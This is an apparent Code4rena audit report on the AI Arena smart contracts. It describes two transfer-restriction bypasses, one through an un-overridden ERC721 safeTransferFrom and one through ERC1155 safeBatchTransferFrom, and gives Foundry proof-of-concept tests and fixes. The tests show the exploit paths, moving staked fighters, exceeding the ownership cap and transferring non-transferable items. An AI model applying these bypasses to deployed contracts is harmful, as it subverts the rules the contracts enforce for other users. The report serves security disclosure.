AI Arena - Limbooo's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L16 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L447-L452

Vulnerability details

Description

The FighterFarm contract, which manages the creation, ownership, and redemption of AI Arena Fighter NFTs, overrides ERC721 transfer functions transferFrom and safeTransferFrom to implement custom checks. However, the contract only overrides two out of three available transfer functions, leaving the standard safeTransferFrom (with data param) function from OpenZeppelin's ERC721 contract vulnerable to bypassing custom transfer restrictions.

IERC721.sol#L54-L60

lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol:
  54:     function safeTransferFrom(
  55:         address from,
  56:         address to,
  57:         uint256 tokenId,
  58:         bytes calldata data
  59:     ) external;

Impact

The incomplete override of ERC721 transfer functions in the FighterFarm contract leads to potential security risks and undermines the intended transfer restrictions. Specifically, this vulnerability allows users to bypass maximum token ownership restrictions and transfer staked tokens, contrary to the defined rules of the game that is implemented in _ableToTransfer function.

FighterFarm.sol#L533-L545

src/FighterFarm.sol:
  533:     /// @notice Check if the transfer of a specific token is allowed.
  534:     /// @dev Cannot receive another fighter if the user already has the maximum amount.
  535:     /// @dev Additionally, users cannot trade fighters that are currently staked.
  536:     /// @param tokenId The token ID of the fighter being transferred.
  537:     /// @param to The address of the receiver.
  538:     /// @return Bool whether the transfer is allowed or not.
  539:     function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
  540:         return (
  541:           _isApprovedOrOwner(msg.sender, tokenId) &&
  542:           balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
  543:           !fighterStaked[tokenId]
  544:         );
  545:     }
  546  }

Proof of Concept

These test cases can be used as part of test/FighterFarm.t.sol file:

Test Case 1: Bypass Transferring Fighter While Staked

function test_PoC_BypassTransferringFighterWhileStaked() public {
    // Mint a fighter and mark it as staked
    _mintFromMergingPool(_ownerAddress);
    _fighterFarmContract.addStaker(_ownerAddress);
    _fighterFarmContract.updateFighterStaking(0, true);
    assertEq(_fighterFarmContract.fighterStaked(0), true);

    // Attempt to transfer the staked fighter to another address
    _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "");

    // Validate that the transfer succeeds despite the token being staked
    assertEq(_fighterFarmContract.ownerOf(0) != _ownerAddress, true);
    assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS);
}

Test Case 2: Bypass Maximum Fighter Allowed Per User

function test_PoC_BypassMaximumFighterAllowedPerUser() public {
    address alice = makeAddr("Alice");
    address bob = makeAddr("Bob");

    // Mint 10 tokens for Alice
    for (uint i = 0; i < 10; i++) {
        _mintFromMergingPool(alice);
    }

    // Attempt to mint more tokens for Alice (should revert)
    assertEq(_fighterFarmContract.balanceOf(alice), 10);
    vm.expectRevert();
    _mintFromMergingPool(alice);

    // Mint a token for Bob
    _mintFromMergingPool(bob);
    assertEq(_fighterFarmContract.ownerOf(10), bob);

    // Transfer token from Bob to Alice to bypass maximum ownership restriction
    vm.startPrank(bob);
    _fighterFarmContract.safeTransferFrom(bob, alice, 10, "");
    vm.stopPrank();

    // Validate that the transfer succeeds and Alice exceeds the maximum token ownership
    assertEq(_fighterFarmContract.ownerOf(10), alice);
    assertEq(_fighterFarmContract.balanceOf(alice), 11);
}

Tools Used

Foundry

Recommended Mitigation Steps

To mitigate this vulnerability and enforce consistent transfer restrictions, consider ONE of the following mitigation:

• Option 1. Override All ERC721 Transfer Functions: Ensure that all ERC721 transfer functions (transferFrom, safeTransferFrom, and safeTransferFrom with additional data param) are overridden in the FighterFarm contract to consistently apply custom transfer checks used in-place. Here is the missing implementation of override of safeTransferFrom with data param function:

    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        bytes memory data
    ) 
        public
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _safeTransfer(from, to, tokenId, data);
    }

• Option 2. Implement Custom Checks in All Transfer Functions using _beforeTokenTransfer hooks: Utilizing _beforeTokenTransfer hooks with caution and using the custom transfer checks implemented in _ableToTransfer will apply the preventing across all transfer functions.

  • First, all overridden transfer function should be removed since the checks will be in the _beforeTokenTransfer which will be used inside the base _transfer function in OZ's ERC20 implemetation

  • Implement the _ableToTransfer as it would only checks the validation of the transfer in the FighterFarm scope, since out-scope would be checked in OZ's ERC20 transfer functions implementations

      function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
          return (
  -         _isApprovedOrOwner(msg.sender, tokenId) &&
            balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
            !fighterStaked[tokenId]
          );
      }

  • Use _ableToTransfer function in the _beforeTokenTransfer hooks, but we need to check only if we are transferring! we do not want to preform checking in case of minting or burning so we should use the check if from and to are never both zero.

      function _beforeTokenTransfer(address from, address to, uint256 tokenId)
          internal
          override(ERC721, ERC721Enumerable)
      {
  +       if (from != address(0) && to != address(0)) {
  +           require(_ableToTransfer(tokenId, to));
  +       }
          super._beforeTokenTransfer(from, to, tokenId);
      }

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L10

Vulnerability details

Description

The GameItems contract in the AI Arena project, which represents a collection of game items used in the game, overrides ERC1155 transfer functions (safeTransferFrom) to implement custom checks for transferability of game items (see line 301).

GameItems.sol#L289-L303

src/GameItems.sol:
  289:     /// @notice Safely transfers an NFT from one address to another.
  290:     /// @dev Added a check to see if the game item is transferable.
  291:     function safeTransferFrom(
  292:         address from, 
  293:         address to, 
  294:         uint256 tokenId,
  295:         uint256 amount,
  296:         bytes memory data
  297:     ) 
  298:         public 
  299:         override(ERC1155)
  300:     {
  301:         require(allGameItemAttributes[tokenId].transferable);
  302:         super.safeTransferFrom(from, to, tokenId, amount, data);
  303:     }

However, the contract fails to override all relevant transfer functions, leaving the safeBatchTransferFrom function vulnerable to bypassing these checks.

ERC1155.sol#L134-L146

lib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sol:
  134:     function safeBatchTransferFrom(
  135:         address from,
  136:         address to,
  137:         uint256[] memory ids,
  138:         uint256[] memory amounts,
  139:         bytes memory data
  140:     ) public virtual override {
  141:         require(
  142:             from == _msgSender() || isApprovedForAll(from, _msgSender()),
  143:             "ERC1155: caller is not token owner nor approved"
  144:         );
  145:         _safeBatchTransferFrom(from, to, ids, amounts, data);
  146:     }

Impact

The incomplete override of ERC1155 transfer functions in the GameItems contract leads to potential security risks and undermines the intended transfer restrictions. This vulnerability allows users to bypass transferability checks and transfer non-transferable game items in batch transfers, contrary to the defined rules of the game items.

Proof of Concept

The following test case can be used as part of test/GameItems.t.sol file, it demonstrates how the vulnerability can be exploited:

    function test_PoC_BypassTransferringNonTransferableGameItem() public {
        // Fund the owner address with 4k Neuron tokens from treasury
        _fundUserWith4kNeuronByTreasury(_ownerAddress);

        // Mint a non-transferable game item with token ID 0
        _gameItemsContract.mint(0, 1);

        // Make the game item with token ID 0 non-transferable
        _gameItemsContract.adjustTransferability(0, false);

        // Expect a revert as attempting to transfer the non-transferable game item
        // directly using `safeTransferFrom` should fail
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");

        // Attempt to transfer the non-transferable game item to another address using `safeBatchTransferFrom`
        uint256[] memory tokenIds = new uint256[](1); // Array to hold token IDs to transfer
        uint256[] memory amounts = new uint256[](1); // Array to hold corresponding transfer amounts
        tokenIds[0] = 0; // Set the token ID to transfer
        amounts[0] = 1; // Set the transfer amount
        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, tokenIds, amounts, "");

        // Validate that the transfer succeeded
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1); // Check the balance of the receiving address
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0); // Check the balance of the sender address
    }

Tools Used

Foundry

Recommended Mitigation

To mitigate this vulnerability consider add override for the safeBatchTransferFrom function and include the same transferability check as implemented in safeTransferFrom.

    /// @notice Safely transfers a batch of NFTs from one address to another.
    /// @dev Added a check to see if the game items are transferable.
    function safeBatchTransferFrom(
        address from, 
        address to, 
        uint256[] memory tokenIds,
        uint256[] memory amounts,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        for (uint256 i = 0; i < tokenIds.length; i++) {
            require(allGameItemAttributes[tokenIds[i]].transferable);
        }
        super.safeBatchTransferFrom(from, to, tokenIds, amounts, data);
    }

Assessed type

Other